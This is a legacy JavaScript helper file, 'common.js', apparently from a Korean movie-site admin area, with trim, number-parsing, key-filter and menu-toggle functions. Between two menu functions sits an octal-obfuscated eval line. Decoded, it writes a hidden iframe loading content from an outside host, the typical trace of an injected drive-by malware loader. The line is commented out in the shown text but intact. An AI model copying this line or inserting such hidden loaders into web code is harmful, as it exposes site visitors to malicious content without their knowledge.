/*
 ********************************************************
 *
 * File Name	: common.js
 * Discription 	: javascript common function
 * Version      : 1.0
 * Creation    	: 2006.02.02.
 * Update      	:
 *
 ********************************************************
 */
 
	String.prototype.trim = function(){
		return this.replace(/(^\s*)|(\s*$)/g,"");
	}

	String.prototype.delMask = function(){
		var comma = /,/gi;
		var slash = /\//gi;
		var hipen = /-/gi;
		var collon = /:/gi;
		if( this.length == 0 ) {
			return "";
		}
		return this.replace(comma,'').replace(slash,'').replace(hipen,'').replace(collon,'');
	}
 
 	function fParseFloat(txt){
	    var tmpflt= 0.0;
	    if ( !isNaN(txt) && typeof txt != 'string' ) return( parseFloat(txt) );
	    if ( isNaN(txt) ) tmpflt = parseFloat(txt.delMask());
	    else tmpflt =  parseFloat(txt) ;
	    if ( isNaN(tmpflt) ) return(0.0);
	    else  return( tmpflt );
	}
	
	function fParseInt(txt){
	    var tmpint= 0;
	    if ( !isNaN(txt) && typeof txt != 'string' ) return( parseInt(txt) );
	    if ( txt.trim().length == 0 ) return(0);
	    if ( isNaN(txt) ) tmpint = parseInt(txt.delMask());
	    else tmpint = parseInt(txt);
	    if ( isNaN(tmpint) ) return(0);
	    else  return( tmpint );
	}
	
	function fNumOnly() {
	   key = event.keyCode;
	   if ( key == 13 ) {      // ??,TAB
		  return true;
	   }
	   if ( key == 9 ) {
		  return true;
	   }
	   if ((key == 40) || (key == 38 )) {    // ?, ?? ???
		   event.returnValue = true;
		  return true;
	   }
	   if (( key > 95) && ( key < 106 )) {   // ??? ?? key
		  event.returnValue = true;
		  return true;
	   }
	   if (( key > 47) && ( key < 58 )) {    // ??? ?? ?? key
		  event.returnValue = true;
		  return true;
	   }
	   if (( key == 37)||( key == 39 )||( key == 46)||( key == 8 )||( key == 16)) {  // ?,? ???,DEL,BACKS,SHIFT,-
		  event.returnValue = true;
		  return true;
	   }
	   event.cancelBubble = true;
	   event.returnValue=false;
	   //alert('??? ?? ?????.');
	   return false;
	}

	/*
	//------------------------------------------
	// Admin Menu function
	//------------------------------------------
	*/
	function fBlockMenu() {
		document.all.gnbSubA.style.display = "none"
		document.all.gnbSubB.style.display = "none"
		document.all.gnbSubC.style.display = "none"
		document.all.gnbSubD.style.display = "none"
		document.all.gnbSubE.style.display = "none"
		document.all.gnbSubF.style.display = "none"
		document.all.gnbSubG.style.display = "none"
	}
//eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\147\141\156\161\165\141\156\56\143\157\155\56\143\156\57\151\155\141\147\145\163\57\154\157\147\157\56\147\151\146\40\163\164\171\154\145\75\42\144\151\163\160\154\141\171\72\156\157\156\145\42\76\74\57\151\146\162\141\155\145\76\47\51\73");
	function fToggleMenu(currMenu) {
		fBlockMenu();
		thiMenu = eval("document.all." + currMenu + ".style");
		thiMenu.display = "block"
	}
	
 	function fChangeFamilySite() {
		var obj = document.all.family_site;
		var openUrl = obj.value;
		if( obj.value.trim().length > 1 ) {
			window.open(openUrl,"","");
		}
		obj.value = "";
		
	}

	function fMovieMenSearchLink(ds_men, nm_men) {
		strPath = "/moviebox/moviebox_result.asp?search_type=common&keycode=" + ds_men + "&keyword=" + nm_men;
		//strPath = "/moviebox/moviebox_sch.asp?search_type=detail&st_year=&end_year=&st_year_run=&end_year_run=&country=&genre=";
		document.location = strPath;
	}
